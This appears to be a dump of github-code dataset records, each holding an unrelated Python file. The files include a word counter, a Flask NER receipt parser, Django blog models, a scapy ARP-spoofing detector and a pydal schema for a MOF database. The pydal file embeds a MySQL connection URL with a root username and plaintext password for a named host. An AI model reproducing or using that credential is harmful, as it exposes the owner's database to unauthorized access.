one.\nAfter the entire text has been reviewed, information has been saved on dict on what words were in the text,\nas well as how many times they have shown up. Now you can print the information in the format presented by the task from the dict.\n\n\"\"\"\n\ndef main():\n print(\"Enter rows of text for word counting. Empty row to quit.\")\n all_list = dict()\n lines = []\n while True:\n message_line = input()\n if message_line == \"\":\n break\n lines.append(message_line)\n\n for line in lines:\n line = line.strip()\n line = line.lower()\n words = line.split(\" \")\n for word in words:\n if word in all_list:\n all_list[word] += 1\n else:\n all_list[word] = 1\n keylist = all_list.keys()\n complete_key=sorted(keylist)\n for key in list(complete_key):\n print(key, \":\", all_list[key], \"times\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Phuong1405/Python-Basic","sub_path":"Round 7/word density.py","file_name":"word density.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"40498311617","text":"# 2022-10-17\n# week2 - 자료구조. 크게 만들기\n# https://www.acmicpc.net/problem/2812\n# 소요시간 : 10:40 ~ 12:00, 14:30 ~ 14:48 (100m, 못 풀어서 해설 참고)\n\n\"\"\"\n너무 어렵게 생각했던 문제\n가장 큰 숫자를 앞에 위치하게 하려면 입력받은 숫자를 하나씩 stack에 넣고\n다음 숫자와 비교해주면 된다\n만약 다음 숫자가 stack에 있는 숫자보다 크면, stack.pop()해주면서\n가장 큰 숫자를 앞에 위치하게 한다\n\nK개 숫자까지만 지워야 하므로 K>0 조건이 필요하며\n만약 K개보다 덜 지운 경우 뒤에서부터 남은 K개를 빼고 출력해주면 된다.\n\n인덱스를 하나하나 따져가면서 해줄 필요 없이 stack 자료구조를 사용하면\n쉽게 풀리는 문제였다..\n\"\"\"\n\n\nimport sys\n\ninput = sys.stdin.readline\n\nN, K = map(int, input().split(\" \"))\nstr_num = input()[:-1] # \\n 제거\n\nstack = []\n\nfor num in str_num:\n while stack and stack[-1] < num and K > 0:\n stack.pop()\n K -= 1\n stack.append(num)\n\nif K > 0:\n print(\"\".join(stack[:-K]))\nelse:\n print(\"\".join(stack))\n","repo_name":"cheonyeji/algorithm_study","sub_path":"백준/week2자료구조/2812.py","file_name":"2812.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16025549660","text":"import numpy as np\nfrom scipy import interpolate\nimport constants\n\n\n\ndef calculate_rms_current(spline_x, spline_y):\n torque_points = np.array(spline_y) / constants.MOTOR_CURRENT_TO_MOTOR_TORQUE\n\n spline_function = interpolate.PchipInterpolator(spline_x, torque_points, extrapolate=False)\n time_samples = np.linspace(spline_x[0], spline_x[-1], num=1000)\n torque_samples = spline_function(time_samples)\n\n squared_currents = torque_samples * constants.MOTOR_CURRENT_TO_MOTOR_TORQUE\n rms_current = np.sqrt(np.mean(np.square(squared_currents)))\n\n return rms_current\n\n# Example spline x and y values\nspline_x = [0, 0.3, 0.4, 0.7, 0.9, 1]\nspline_y = [0, 11.5, 0, -11, 0, 0]\n\nrms_current = calculate_rms_current(spline_x, spline_y)\nprint(\"RMS Current:\", rms_current)\n","repo_name":"fatima-tourk/HipExo","sub_path":"rms_calculator.py","file_name":"rms_calculator.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15263435063","text":"## MNIST\n############### Configuration file for Bayesian ###############\n# n_epochs = 50 ## MNIST\nn_epochs = 200 ## FashionMNIST\n\n# lr_start = 0.005\nlr_start=0.001\n# Check layers stdev for cIFAr and MNISt experiments\n# Change the following based on the dataset\n# self.log_alpha.data.fill_(-5.0)\n# self.log_alpha.data.fill_(0.5)\n\nnum_workers = 4\nvalid_size = 0.2\nbatch_size = 256 ## FashionMNIST\ntrain_ens = 1\nvalid_ens = 1\n\nrecord_mean_var = False\nrecording_freq_per_epoch = 32\nrecord_layers = ['fc3']\n\n# Cross-module global variables\nmean_var_dir = None\nrecord_now = False\ncurr_epoch_no = None\ncurr_batch_no = None\n\n##########\n\n# # Peter config\n# n_epochs = 30\n# lr_start = 0.001","repo_name":"nikhil-dce/Examining-Robustness-of-BNNs-to-Adversarial-Examples","sub_path":"BNN_Implementations/PyTorch-BayesianCNN-master/config_bayesian.py","file_name":"config_bayesian.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12444070355","text":"def main():\r\n f = open(\"9. Hét HF\\string1.py\",'r')\r\n f2 = open(\"9. Hét HF\\string1_clean.py\",'w')\r\n li = f.readlines()\r\n for x in li:\r\n if x[0] != \"#\" and x != \"\\n\" and x[4] != \"#\" :\r\n print(x,file=f2)\r\n f.close()\r\n f2.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"MotoKiretsu/BevProg1","sub_path":"9. Hét HF/Fajlkezeles.py","file_name":"Fajlkezeles.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27680706399","text":"from pyramid.view import view_config\nfrom pyramid.response import Response\nfrom sqlalchemy.exc import SQLAlchemyError\nimport spacy\nfrom spacy import displacy\nfrom spacy.matcher import PhraseMatcher, Matcher\nfrom spacy.tokens import Span\nfrom pymongo import MongoClient\nimport json\nimport os\nfrom bson.json_util import dumps\n \nnlp = spacy.load(\"en_core_web_sm\")\n\nwith open(\"{}/livivo_sru/data/countries.json\".format(os.getcwd()), encoding=\"utf8\") as f:\n countries = json.loads(f.read())\n\nwith open(\"{}/livivo_sru/data/hosts/animals.txt\".format(os.getcwd())) as anf:\n animals = list(nlp.pipe(anf.read().splitlines()))\n\ncountries_list = list(nlp.pipe(countries))\n\ndef find_mst_genotype(text, nlp):\n doc = nlp(text)\n matcher = Matcher(nlp.vocab)\n phrase_matcher = PhraseMatcher(nlp.vocab, attr=\"LOWER\")\n phrase_matcher.add(\"likely host\", animals)\n phrase_matcher.add(\"Geo\", countries_list)\n mst_pattern = [[{\"IS_PUNCT\": True}, {\"LOWER\": \"st\"}, {\"IS_DIGIT\": True}],\n [{\"LOWER\": \"mst\"}, {\"IS_DIGIT\": True}],\n [{\"IS_PUNCT\": True}, {\"LOWER\": \"st\"}, {\"IS_DIGIT\": True}],\n [{\"LOWER\": \"st\"}, {\"IS_DIGIT\": True}],\n [{\"LOWER\": \"mst\"}, {\"LOWER\": \"type\"}, {\"IS_DIGIT\": True}],\n [{\"LOWER\": \"mst\"}, {\"LOWER\": \"genotype\"}, {\"IS_DIGIT\": True}],\n [{\"IS_PUNCT\": True}, {\"LOWER\": \"mst\"}, {\"IS_PUNCT\": True},\n {\"IS_DIGIT\": True}],\n [{\"TEXT\": {\"REGEX\": \"M?ST\\d+\"}}],\n [{\"TEXT\": {\"REGEX\": \"m?st\\d+\"}}]\n ]\n matcher.add(\"mst genotype\", mst_pattern)\n matches = matcher(doc)\n doc.ents = ()\n for match_id, start, end in matches:\n # create a new Span for each match and use the match_ID as the label\n span = Span(doc, start, end, label=match_id)\n if not span in doc.ents:\n doc.ents = list(doc.ents) + [span] # add span to doc.ent\n matches = phrase_matcher(doc)\n for match_id, start, end in matches:\n # create a new Span for each match and use the match_ID as the label\n span = Span(doc, start, end, label=match_id)\n if not span in doc.ents:\n doc.ents = list(doc.ents) + [span] # add span to doc.ent\n return doc\n\ndef get_options(ent_type):\n if ent_type == \"mst\":\n ent_list = [\"mst genotype\",\n \"likely host\",\n \"Geo\"\n ]\n ent_color = {\"mst genotype\": \"#7aecec\",\n \"likely host\": \"#bfeeb7\",\n \"Geo\": \"#feca74\"}\n options = {\"ents\": ent_list, \"colors\": ent_color}\n return options\n\n\n\n@view_config(route_name='retrieve', renderer='livivo_sru:templates/retrieve.jinja2')\ndef retrieve(request):\n return {}\n\n@view_config(route_name='retrieve_article', renderer='livivo_sru:templates/retrieve.jinja2')\ndef retrieve_article(request):\n return {}\n\n\n@view_config(route_name='retrieve_api', renderer='json')\ndef retrieve_api(request):\n title = request.params['title']\n abstract = request.params['abstract']\n model = request.params['model']\n if int(model) == 1:\n doc = nlp(abstract)\n markup = displacy.render(doc, style=\"ent\", page=False)\n elif int(model) == 2:\n opt = get_options(\"mst\")\n doc = find_mst_genotype(abstract, nlp)\n markup = displacy.render(doc, style=\"ent\", options=opt, page=False)\n \n url = os.environ['ME_CONFIG_MONGODB_URL']\n client = MongoClient(url)\n db = client['articles_collection']\n collection = db['collection_names']\n query = collection.find()\n\n return {\"title\": markup,\n \"collection\": dumps(query)}\n\n\n# mst_pattern1 = [{\"LOWER\": \"mst\"}, {\"IS_DIGIT\": True}]\n# mst_pattern2 = [{\"IS_PUNCT\": True}, {\"LOWER\": \"st\"}, {\"IS_DIGIT\": True}]\n# mst_pattern3 = [{\"LOWER\": \"st\"}, {\"IS_DIGIT\": True}]\n# mst_pattern4 = [{\"LOWER\": \"mst\"}, {\"LOWER\": \"type\"}, {\"IS_DIGIT\": True}]\n# mst_pattern5 = [\n# {\"LOWER\": \"mst\"},\n# {\"LOWER\": \"type\"},\n# {\"IS_DIGIT\": True},\n# {\"POS\": \"CONJ\"},\n# {\"IS_DIGIT\": True},\n# ]\n# mst_pattern6 = [\n# {\"IS_PUNCT\": True},\n# {\"LOWER\": \"mst\"},\n# {\"IS_PUNCT\": True},\n# {\"IS_DIGIT\": True},\n# ]\n# mst_pattern7 = [{\"TEXT\": {\"REGEX\": \"M?ST\\d+\"}}]\n# mst_pattern8 = [{\"TEXT\": {\"REGEX\": \"m?st\\d+\"}}]\n# matcher.add(\"mst_pt_1\", [mst_pattern1])\n# matcher.add(\"mst_pt_2\", mst_pattern2)\n# matcher.add(\"mst_pt_3\", mst_pattern3)\n# matcher.add(\"mst_pt_4\", mst_pattern4)\n# matcher.add(\"mst_pt_5\", mst_pattern5)\n# matcher.add(\"mst_pt_6\", mst_pattern6)\n# matcher.add(\"mst_pt_7\", mst_pattern7)\n# matcher.add(\"mst_pt_8\", mst_pattern7)\n\n# ent_list = [\"mst_pt_1\",\n# \"mst_pt_2\",\n# \"mst_pt_3\",\n# \"mst_pt_4\",\n# \"mst_pt_5\",\n# \"mst_pt_6\",\n# \"mst_pt_7\",\n# \"mst_pt_8\"]\n# ent_color = {\"mst_pt_1\": \"#7aecec\",\n# \"mst_pt_2\": \"#bfeeb7\",\n# \"mst_pt_3\": \"#feca74\",\n# \"mst_pt_4\": \"#ff9561\",\n# \"mst_pt_5\": \"#aa9cfc\",\n# \"mst_pt_6\": \"#aa9cfc\",\n# \"mst_pt_7\": \"#9cc9cc\",\n# \"mst_pt_8\": \"#ffeb80\"}\n# options = {\"ents\": ent_list, \"colors\": ent_color}\n","repo_name":"fasemoreakinyemi/2021-07-13-Visualization_with_displacy_and_pyramid","sub_path":"livivo_sru/livivo_sru/views/retrieve.py","file_name":"retrieve.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"71235598542","text":"from django.db import models\n\n\nclass Blogpost(models.Model):\n class Meta:\n ordering = ['-id']\n\n media_url = models.CharField(max_length=200, blank=True)\n author = models.ForeignKey(\n 'profiles.Profile', on_delete=models.CASCADE, related_name='blogpost', default=1\n )\n slug = models.SlugField(max_length=255)\n is_featured = models.BooleanField(default=False)\n\n def __str__(self):\n\n return \"{} - {} - {} - {}\".format(\n self.id,\n self.media_url,\n self.author,\n self.slug)\n\n def create(self, validated_data):\n return Blogpost.objects.create(**validated_data)\n\n def update(self, instance, validated_data):\n instance.media_url = validated_data.get(\"media_url\", instance.media_url)\n instance.author = validated_data.get(\"author\", instance.author)\n instance.slug = validated_data.get(\"slug\", instance.slug)\n instance.save()\n return instance\n\n def save(self, *args, **kwargs):\n super(Blogpost, self).save(*args, **kwargs)\n\n\nclass Tag(models.Model):\n class Meta:\n ordering = ['-id']\n name = models.CharField(max_length=100)\n blogpost = models.ManyToManyField(Blogpost, blank=True)\n\n def __str__(self):\n return \"{} - {}\".format(self.id, self.name)\n\n\nclass Topic(models.Model):\n class Meta:\n ordering = ['-id']\n name = models.CharField(max_length=100)\n blogpost = models.ManyToManyField(Blogpost, blank=True)\n\n def __str__(self):\n return \"{} - {}\".format(self.id, self.name)\n","repo_name":"dbtung/ismp","sub_path":"backend/api/blogpost/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17444169580","text":"from flask import Flask, jsonify, request\nfrom modules.html_process import *\nfrom transformers import AutoTokenizer, AutoModelForTokenClassification\nfrom transformers import pipeline\nfrom modules.ner import *\nfrom modules.figures import *\nfrom modules.db import start_db\nimport sqlite3\n\n# initialize flask app\napp = Flask(__name__)\n\n# load huggingface models\ntokenizer = AutoTokenizer.from_pretrained(\"dslim/bert-base-NER\")\nmodel = AutoModelForTokenClassification.from_pretrained(\"dslim/bert-base-NER\")\nnlp = pipeline(\"ner\", model=model, tokenizer=tokenizer)\nstart_db()\n\n\n\n\n@app.route(\"/process\",methods=['POST'])\ndef process():\n \"\"\"API endpoint used to parse html, extract relevant information,\n and save collected data to database. To use:\n\n curl -X POST http://localhost:5000/process -H \"Content-Type: application/json\" -d '{\"filename\":\"dummy_order.html\"}'\n\n to use endpoint. \n\n \n \"\"\"\n\n\n # open connection to sqlite db\n conn = sqlite3.connect(\"dummyDB.db\")\n cur = conn.cursor()\n\n\n # get filepath from request data\n filepath = request.get_json()['filename']\n\n #check database for record of \n res = cur.execute(\"SELECT * FROM emails WHERE file=?\",(filepath,))\n\n # end early if no data exists for your requested file\n record = res.fetchone()\n if not record:\n return jsonify({})\n \n\n # cast record to list\n data = list(record)\n\n # parse html contained in record\n handler = HtmlHandler(raw_html=data[2])\n\n # html text as string and list of strings\n text = handler.html_text\n lines = handler.text_lines\n\n # get receipt total and subtotal\n figures = get_figures(lines)\n\n\n # exxtract entities (company and purchasing customer)\n ner_results = nlp(text)\n combined_results = combine_results(ner_results)\n entities = get_relevant_entities(combined_results)\n\n\n\n # update database with new data\n update_data = (\n entities['customer'],\n entities['company'],\n figures['total'],\n figures['subtotal'],\n data[1],\n )\n\n\n cur.execute(\"UPDATE emails SET customer=?, company=?, total=?, sub_total=? WHERE file=?\",update_data)\n conn.commit()\n\n # close database connection\n cur.close()\n conn.close()\n\n return jsonify(update_data)\n\n\n@app.route(\"/check\",methods=['POST'])\ndef check():\n \"\"\"Basic method used to check if database has been updated via the process endpoint run\n\n curl -X POST http://localhost:5000/check -H \"Content-Type: application/json\" -d '{\"filename\":\"dummy_order.html\"}'\n\n to use endpoint. \n\n \"\"\"\n\n conn = sqlite3.connect(\"dummyDB.db\")\n cur = conn.cursor()\n\n\n filepath = request.get_json()['filename']\n\n\n res = cur.execute(\"SELECT * FROM emails WHERE file=?\",(filepath,))\n\n data = list(res.fetchone())\n\n\n\n return jsonify(data)","repo_name":"Jordan-M-Young/FetchApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30030152400","text":"import scapy.all as scapy\nimport requests\nfrom sendmail import mailReport\n\narpResult = \"You are ARP safe!!\"\ndef arpSniff(interface):\n\tscapy.sniff(iface=interface,prn=process_sniffed_packet)\n\ndef process_sniffed_packet(packet):\n\tglobal arpResult\t\n\t# arpResult = None\n\t# arpResult = \"Everyhting is safe\"\n\tif packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:\n\t\toriginalmac = mac(packet[scapy.ARP].psrc)\n\t\tresponsemac = packet[scapy.ARP].hwsrc\n\t\tif originalmac != responsemac:\n\t\t\tarpResult = \"Alert!! ARP Table attacked.\"\n\t\t\trequests.post('http://127.0.0.1:5000/arpDetection', data={'attackType': \"arp\"})\n\t\t\t# mailReport(\"ARP Table Spoofed\")\n\t\t\t# print(\"ARP Mail Sent\")\n\t\t\t# print(arpResult)\n\t# return arpResult\n\tprint(arpResult)\n \t\n\ndef mac(ipadd):\n\tarpRequest = scapy.ARP(pdst=ipadd)\n\tbr = scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n\tarp_req_br = br / arpRequest \n\tlist_1 = scapy.srp(arp_req_br, timeout=5,verbose=False)[0]\n\treturn list_1[0][1].hwsrc\n\t# return list_1\n\n\n# arpSniff('eth0')","repo_name":"nerdynerd09/SIH","sub_path":"arpDetection.py","file_name":"arpDetection.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"27259175330","text":"# -*- coding: utf-8 -*-\nimport os\nfrom pydal import DAL, Field\n\ndb = DAL('mysql://root:d3v_w34v3r@bilbo.aci.rub.de/mysql',lazy_tables=False,fake_migrate_all=True)\n\nlocpath = os.environ[\"MFPLOC\"]\nif os.path.exists(locpath+ '/database') == False:\n os.makedirs(locpath+\"/database\")\ndbpath = locpath + \"/database\"\npath2files = locpath\n\n\n#########################################################################\n## Define your tables below (or better in another model file) for example\n##\n## >>> db.define_table('mytable',Field('myfield','string'))\n##\n## Fields can be 'string','text','password','integer','double','boolean'\n## 'date','time','datetime','blob','upload', 'reference TABLENAME'\n## There is an implicit 'id integer autoincrement' field\n## Consult manual for more options, validators, etc.\n##\n## More API examples for controllers:\n##\n## >>> db.mytable.insert(myfield='value')\n## >>> rows=db(db.mytable.myfield=='value').select(db.mytable.ALL)\n## >>> for row in rows: print row.id, row.myfield\n#########################################################################\n\n## after defining tables, uncomment below to enable auditing\n# auth.enable_record_versioning(db)\n\ndb.define_table('nets',\\\n Field('name', 'string', unique=True),\\\n Field('spacegroup', 'string'),\\\n Field('spacegroup_number', 'integer'),\\\n Field('cella','double'),\\\n Field('cellb','double'),\\\n Field('cellc','double'),\\\n Field('cellalpha','double'),\\\n Field('cellbeta','double'),\\\n Field('cellgamma','double'),\\\n Field('p', 'integer'),\\\n Field('q', 'integer'),\\\n Field('r', 'integer'),\\\n Field('s', 'integer'),\\\n Field('natoms', 'integer'),\\\n Field('thumb', 'string',default='default_thumb'),\\\n Field('xyzfile', 'upload', uploadfolder=path2files+'/static/nets/files'),\\\n Field('txyzfile','upload',uploadfolder=path2files+'/static/nets/files'),\\\n Field('topofile','upload',uploadfolder=path2files+'/static/nets/files'),\\\n Field('ptxyzfile','upload',uploadfolder=path2files+'/static/nets/files'),\n migrate = dbpath + \"/nets.table\")\n\ndb.define_table('vertex',\\\n Field('netID','reference nets'),\\\n Field('idx', 'integer'),\\\n Field('coordination_number','integer'),\\\n Field('connected_to','list:reference vertex'),\\\n Field('connections','list:integer'),\\\n Field('symmetry','string'),\n Field('cs1', 'integer'),\n Field('cs2', 'integer'),\n Field('cs3', 'integer'),\n Field('cs4', 'integer'),\n Field('cs5', 'integer'),\n Field('cs6', 'integer'),\n Field('cs7', 'integer'),\n Field('cs8', 'integer'),\n Field('cs9', 'integer'),\n Field('cs10','integer'),\n Field('vs', 'string'),\n migrate = dbpath + \"/vertex.table\")\n\n\ndb.define_table('geoms',\\\n Field('name','string'),\\\n Field('coordination_number','integer'),\\\n Field('symmetry','string'),\\\n Field('xyzfile','upload',uploadfolder=path2files+'/static/geoms/files'),\n migrate = dbpath + \"/geoms.table\")\n\ndb.define_table('shapes',\\\n Field('penalty','double'),\\\n Field('vertexID','reference vertex'),\\\n Field('geoID', 'reference geoms'),\n migrate = dbpath + \"/shapes.table\")\n\ndb.define_table('edge',\\\n Field('fromID','reference vertex'),\\\n Field('toID','reference vertex'),\\\n Field('fromcount','integer'),\\\n Field('tocount','integer'),\n migrate = dbpath + \"/edge.table\")\n\ndb.define_table('net_relations',\\\n Field('pID','reference nets'),\\\n Field('cID','reference nets'),\\\n Field('pattern','string'),\n migrate = dbpath + \"/net_relations.table\")\n\n\n### MOFs are uniquely defined by its reference to !one topology and !a set of building blocks\ndb.define_table('mofs',\\\n Field('name','string', unique = True),\\\n Field('knownas','string'),\\\n Field('net','reference nets'),\\\n format='%(name)s',\n migrate = dbpath + \"/mofs.table\")\n\n###level of theory\ndb.define_table('lot',\\\n Field('name','string'),\\\n Field('description','text'),\\\n format='%(name)s', \n migrate = dbpath + \"/lot.table\")\n\n### storage for all MOF models,\ndb.define_table('structures',\\\n Field('filename','upload', uploadfolder=path2files+'/static/mofs/structures'),\\\n Field('lot', 'reference lot'),\\\n Field('name', 'string'),\\\n Field('a', 'double'),\\\n Field('b', 'double'),\\\n Field('c', 'double'),\\\n Field('alpha', 'double'),\\\n Field('beta', 'double'),\\\n Field('gamma', 'double'),\\\n Field('comment', 'text'),\\\n Field('mofID','reference mofs'),\n migrate = dbpath + \"/structures.table\")\n\n### building blocks are stored here\ndb.define_table('bbs',\\\n Field('name','string',unique=True),\\\n Field('coordination_number','integer'),\\\n Field('sum_formula','string'),\\\n Field('type','string'),\\\n Field('xyzfile', 'upload', uploadfolder=path2files+'/static/bbs/files'),\\\n Field('frag', 'boolean', default=False),\n migrate = dbpath + \"/bbs.table\")\n #Field('stxyzfile','upload',uploadfolder=path2files+'/static/bbs/files'),\\\n #Field('reagentID','reference reagents'),\\ ### see below for discussion on reagents table.\n\n### many2many to connect MOFs with the BBs\ndb.define_table('mofsbbs',\\\n Field('mofID', 'reference mofs'),\\\n Field('bbID', 'reference bbs'),\n migrate = dbpath + \"/mofsbbs.table\")\n\ndb.define_table('bbshapes',\\\n Field('penalty','double'),\\\n Field('bbID','reference bbs'),\\\n Field('geoID', 'reference geoms'),\n migrate = dbpath + \"/bbshapes.table\")\n\n### description of the property\ndb.define_table('prop_type',\\\n Field('name'),\\\n Field('unit','string'),\\\n Field('description','text'),format='%(name)s',\n migrate = dbpath + \"/proptype.table\")\n\n### single number features like energies, bulk moduli, surface areas and such are stored here\ndb.define_table('prop_skal',\\\n Field('data','double'),\\\n Field('type','reference prop_type'),\\\n #Field('unit','string'),\\\n Field('description','text'),\\\n Field('structureID', 'reference structures'),\n migrate = dbpath + \"/prop_skal.table\")\n\n### every attribute that is more than just one number, like XY-graphs and such is stored here\ndb.define_table('prop_xy',\\\n Field('data','upload', uploadfolder=path2files+'/static/mofs/spectra'),\\\n Field('type','reference prop_type'),\\\n #Field('unitx','string'),\\\n #Field('unity','string'),\\\n Field('description','text'),\\\n Field('structureID', 'reference structures'),\n migrate = dbpath + \"/prop_xy.table\")\n#session.connect(request, response, cookie_key='yoursecret', compression_level=None)\n\ndb.define_table('bbvertices',\\\n Field('mofsbbsID','reference mofsbbs'),\\\n Field('vertexID','reference vertex'),\n migrate = dbpath + \"/bbvertices.table\")\n\ndb.define_table('bbedges',\\\n Field('mofsbbsID','reference mofsbbs'),\\\n Field('edgeID','reference edge'),\\\n Field('v0', 'reference vertex'),\\\n Field('v1', 'reference vertex'),\n migrate = dbpath + \"/bbedges.table\")\n\ndb.define_table('special_conn',\n Field('bbID', 'reference bbs'),\n Field('idx', 'integer'),\n Field('nconn','integer'),\n migrate = dbpath + \"/special_conn.table\")\n\ndb.define_table('scvertices',\n Field('vertexID', 'reference vertex'),\n Field('bbvertexID', 'reference bbvertices'),\n Field('scID', 'reference special_conn'),\n migrate = dbpath + \"/scvertices.table\")\n\ndb.define_table('firejobs',\\\n Field('jobtype', 'string'),\\\n Field('jobID', 'integer'),\\\n Field('endtime', 'datetime'),\\\n Field('starttime', 'datetime'),\n migrate = dbpath + \"/firejobs.table\")\n\ndb.define_table('fireweaver',\\\n Field('mof', 'reference mofs'),\\\n Field('name', 'string'),\\\n Field('comment', 'text'),\n migrate = dbpath + \"/fireweaver.table\")\n\ndb.define_table('fireanalyzer',\\\n Field('structureID', 'reference structures'),\n migrate = dbpath + \"/fireanalyzer.table\")\n\n\n########\n### parameter definitions and fragment tables\n########\n\ndb.define_table('atypes',\\\n Field('name', 'string',unique=True),format='%(name)s',\n migrate = dbpath + \"/atypes.table\")\n\ndb.define_table('FFfrags',\n Field('name', 'string', unique = True),\n Field('creationtime', 'datetime'),\n Field('comment', 'text', default = \"\"),\n Field('priority', 'integer'),\n Field('file', 'upload', uploadfolder=path2files+'/static/FFs/frags'),format='%(name)s',\n migrate = dbpath + \"/FFfrags.table\")\n\ndb.define_table('atypes2FFfrags',\n Field('atypeID', 'reference atypes'),\n Field('fragID', 'reference FFfrags'),\n migrate = dbpath + \"/atypes2FFfrags.table\")\n\ndb.define_table('frag_conn',\n Field('frag1', 'reference FFfrags'),\n Field('atype1','reference atypes'),\n Field('frag2', 'reference FFfrags'),\n Field('atype2','reference atypes'),\n migrate = dbpath + \"/frac_conn.table\")\n #Field('combined', 'reference bbs'))\n\ndb.define_table('FF',\n Field('name', 'string', unique = True),\n #Field('vdWtype', 'string', default='Buckingham'),\n Field('mixing', 'string', default='Lorentz-Bertholot'),\n #Field('chargetype', 'string',requires = IS_IN_SET(['gaussian','slater','point']), default = 'gaussian'),\n Field('cutoff', 'double'),\n Field('comment', 'text', default=\"\"), format='%(name)s',\n migrate = dbpath + \"/FF.table\")\n\ndb.define_table('FFrefs',\n Field('name', 'string', unique = True),\n Field('uploadtime', 'datetime'),\n Field('priority', 'integer'),\n Field('reffile','upload', uploadfolder=path2files+'/static/FFs/refs'),\n Field('graph','upload', uploadfolder=path2files+'/static/FFs/refs'),\n Field('comment', 'text', default=\"\"),\n format='%(name)s',\n migrate = dbpath + \"/FFrefs.table\")\n\ndb.define_table(\"FFfrags2FFrefs\",\n Field('fragID', 'reference FFfrags'),\n Field('refID', 'reference FFrefs'),\n migrate = dbpath + \"/FFfrags2FFrefs.table\")\n\ndb.define_table(\"atypes2FFrefs\",\n Field('atypeID', 'reference atypes'),\n Field('refID', 'reference FFrefs'),\n migrate = dbpath + \"/atypes2FFrefs.table\")\n\ndb.define_table('FFfits',\n #Field('name', 'string', unique = True),\n Field('FFID', 'reference FF'),\n Field('creationtime', 'datetime'),\n Field('settings', 'json'),\n Field('input', 'upload', uploadfolder=path2files+'/static/FFs/inp'),\n Field('output', 'upload', uploadfolder=path2files+'/static/FFs/out'),\n Field('refID1', 'reference FFrefs'),\n Field('comment', 'text', default=\"\"),\n migrate = dbpath + \"/FFfits.table\")\n\ndb.define_table('onebody',\n #Field('FFID', 'reference FF'),\n Field('creationtime', 'datetime'),\n Field('fitID', 'reference FFfits'),\n Field( 'type', 'string'),\n Field('pot', 'string'),\n Field('comment', 'text', default=\"\"),\n Field('atype1', 'reference atypes'),\n Field( 'frag1', 'reference FFfrags'),\n Field('params', 'json'),\n migrate = dbpath + \"/onebody.table\")\n\ndb.define_table('twobody',\n #Field('FFID', 'reference FF'),\n Field('creationtime', 'datetime'),\n Field('fitID', 'reference FFfits'),\n Field( 'type', 'string',),\n Field('pot', 'string'),\n Field('comment', 'text', default=\"\"),\n Field('atype1', 'reference atypes'),\n Field( 'frag1', 'reference FFfrags'),\n Field('atype2', 'reference atypes'),\n Field( 'frag2', 'reference FFfrags'),\n Field('params', 'json'),\n migrate = dbpath + \"/twobody.table\")\n\ndb.define_table('threebody',\n #Field('FFID', 'reference FF'),\n Field('creationtime', 'datetime'),\n Field('fitID', 'reference FFfits'),\n Field('type', 'string'),\n Field('pot', 'string'),\n Field('comment', 'text', default=\"\"),\n Field('atype1', 'reference atypes'),\n Field( 'frag1', 'reference FFfrags'),\n Field('atype2', 'reference atypes'),\n Field( 'frag2', 'reference FFfrags'),\n Field('atype3', 'reference atypes'),\n Field( 'frag3', 'reference FFfrags'),\n Field('params', 'json'),\n migrate = dbpath + \"/threebody.table\")\n\ndb.define_table('fourbody',\n #Field('FFID', 'reference FF'),\n Field('creationtime', 'datetime'),\n Field('fitID', 'reference FFfits'),\n Field('type', 'string'),\n Field('pot', 'string'),\n Field('comment', 'text', default=\"\"),\n Field('atype1', 'reference atypes'),\n Field( 'frag1', 'reference FFfrags'),\n Field('atype2', 'reference atypes'),\n Field( 'frag2', 'reference FFfrags'),\n Field('atype3', 'reference atypes'),\n Field( 'frag3', 'reference FFfrags'),\n Field('atype4', 'reference atypes'),\n Field( 'frag4', 'reference FFfrags'),\n Field('params', 'json'),\n migrate = dbpath + \"/fourbody.table\")\n","repo_name":"hopefulp/sandbox","sub_path":"Archive_sand/MOF_plus/mofplus/mofplus/local/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":12399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38693846164","text":"import datetime\nimport unittest\n\nfrom playhouse.test_utils import test_database\nfrom peewee import *\nfrom unittest.mock import Mock\n\nimport work_log\n\n\nTEST_DB = SqliteDatabase(':memory:')\nTEST_DB.connect()\nTEST_DB.create_tables([work_log.Entry], safe=True)\n\nENTRIES = [\n {\n 'name': 'Max Planck',\n 'project': 'Physics',\n 'task_name': 'Quantum mechanics',\n 'time_spent': 10000,\n 'notes': 'Nobel Prize in Physics in 1918',\n 'date': datetime.date(1919, 11, 13)\n },\n {\n 'name': 'Niels Bohr',\n 'project': 'Physics',\n 'task_name': 'Quantum mechanics and atomic structure',\n 'time_spent': 20000,\n 'notes': 'Nobel Prize in Physics in 1922.',\n 'date': datetime.date(1922, 12, 10)\n },\n {\n 'name': 'Arieh Warshel',\n 'project': 'Chemistry',\n 'task_name': 'Theoretical chemistry',\n 'time_spent': 50000,\n 'notes': 'Nobel Prize in Chemistry in 2013.',\n 'date': datetime.date(2013, 12, 8)\n },\n {\n 'name': 'Max Kruse',\n 'project': 'Football',\n 'task_name': 'Forward',\n 'time_spent': 6600,\n 'notes': '',\n 'date': datetime.date(2013, 12, 8)\n },\n]\n\n\nclass AddTests(unittest.TestCase):\n def 